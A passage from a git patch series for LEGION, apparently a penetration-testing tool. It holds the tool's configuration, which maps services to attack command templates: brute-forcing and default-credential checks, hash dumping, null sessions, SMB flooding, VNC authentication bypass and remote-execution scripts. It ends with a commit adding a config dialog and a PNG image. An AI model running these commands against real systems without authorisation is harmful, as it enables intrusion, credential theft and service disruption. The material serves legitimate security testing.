-mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -citrix-enum-apps-xml.nse=citrix, tcp -citrix-enum-apps.nse=citrix, tcp -citrix-enum-servers-xml.nse=citrix, tcp -citrix-enum-servers.nse=citrix, tcp -ftp-anon.nse=ftp, tcp -ftp-default=ftp, tcp -ftp-proftpd-backdoor.nse=ftp, tcp -ftp-vsftpd-backdoor.nse=ftp, tcp -ftp-vuln-cve2010-4221.nse=ftp, tcp -http-vuln-cve2009-3960.nse=http, tcp -http-vuln-cve2010-0738.nse=http, tcp -http-vuln-cve2010-2861.nse=http, tcp -http-vuln-cve2011-3192.nse=http, tcp -http-vuln-cve2011-3368.nse=http, tcp -http-vuln-cve2012-1823.nse=http, tcp -http-vuln-cve2013-0156.nse=http, tcp -http-wordpress-enum.nse=http, tcp -http-wordpress-plugins.nse=http, tcp -imap-capabilities.nse=imap, tcp -irc-botnet-channels.nse=irc, tcp -irc-info.nse=irc, tcp -irc-unrealircd-backdoor.nse=irc, tcp -ms-sql-config.nse=ms-sql, tcp -ms-sql-dac.nse=ms-sql, tcp -ms-sql-dump-hashes.nse=ms-sql, tcp -ms-sql-empty-password.nse=ms-sql, tcp -ms-sql-hasdbaccess.nse=ms-sql, tcp -ms-sql-info.nse=ms-sql, tcp -ms-sql-query.nse=ms-sql, tcp -ms-sql-tables.nse=ms-sql, tcp -ms-sql-xp-cmdshell.nse=ms-sql, tcp -msrpc-enum.nse=msrpc, tcp -mssql-default=ms-sql-s, tcp -mysql-audit.nse=mysql, tcp -mysql-databases.nse=mysql, tcp -mysql-default=mysql, tcp -mysql-dump-hashes.nse=mysql, tcp -mysql-empty-password.nse=mysql, tcp -mysql-enum.nse=mysql, tcp -mysql-info.nse=mysql, tcp -mysql-query.nse=mysql, tcp -mysql-users.nse=mysql, tcp -mysql-variables.nse=mysql, tcp -mysql-vuln-cve2012-2122.nse=mysql, tcp -nfs-ls.nse=nfs, tcp -nfs-showmount.nse=nfs, tcp -nfs-statfs.nse=nfs, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt", tcp -oracle-default=oracle-tns, tcp -oracle-enum-users.nse=oracle, tcp -oracle-sid-brute.nse=oracle, tcp -pop3-capabilities.nse=pop3, tcp -postgres-default=postgresql, tcp -realvnc-auth-bypass.nse=vnc, tcp -samba-vuln-cve-2012-1182.nse=samba, tcp -screenshooter="http,https,ssl,http-proxy,http-alt", tcp -smb-check-vulns.nse=smb, tcp -smb-enum-domains.nse=smb, tcp -smb-enum-groups.nse=smb, tcp -smb-enum-processes.nse=smb, tcp -smb-enum-sessions.nse=smb, tcp -smb-enum-shares.nse=smb, tcp -smb-enum-users.nse=smb, tcp -smb-ls.nse=smb, tcp -smb-mbenum.nse=smb, tcp -smb-psexec.nse=smb, tcp -smb-vuln-ms10-054.nse=smb, tcp -smb-vuln-ms10-061.nse=smb, tcp -smbenum=microsoft-ds, tcp -smtp-commands.nse=smtp, tcp -smtp-enum-users.nse=smtp, tcp -smtp-enum-vrfy=smtp, tcp -smtp-open-relay.nse=smtp, tcp -smtp-strangeport.nse=smtp, tcp -smtp-vuln-cve2010-4344.nse=smtp, tcp -smtp-vuln-cve2011-1720.nse=smtp, tcp -smtp-vuln-cve2011-1764.nse=smtp, tcp -snmp-default=snmp, udp -snmp-hh3c-logins.nse=snmp, tcp -snmp-interfaces.nse=snmp, tcp -snmp-ios-config.nse=snmp, tcp -snmp-netstat.nse=snmp, tcp -snmp-processes.nse=snmp, tcp -snmp-sysdescr.nse=snmp, tcp -snmp-win32-services.nse=snmp, tcp -snmp-win32-shares.nse=snmp, tcp -snmp-win32-software.nse=snmp, tcp -snmp-win32-users.nse=snmp, tcp -snmpcheck=snmp, udp -tftp-enum.nse=tftp, udp -vnc-info.nse=vnc, tcp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage5-ports=T:30000-65535 From 67c4388cc2dd2919da96b6c19fac65781c9557bc Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 12:57:31 -0600 Subject: [PATCH 152/450] Add config dialog --- controller/controller.py | 2 +- images/save.png | Bin 0 -> 16704 bytes ui/configDialog.py | 86 +++++++++++++++++++++++++++++++++++++++ ui/gui.py | 7 ++++ ui/helpDialog.py | 5 +-- ui/view.py | 8 +++- 6 files changed, 103 insertions(+), 5 deletions(-) create mode 100644 images/save.png create mode 100644 ui/configDialog.py diff --git a/controller/controller.py b/controller/controller.py index 4dbc8a41..875fa5a8 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.1' - self.build = '1551201971' + self.build = '1551207428' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/images/save.png b/images/save.png new file mode 100644 index 0000000000000000000000000000000000000000..39f080141158c8aef4cf591a56040532cf02b53b GIT binary patch literal 16704 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 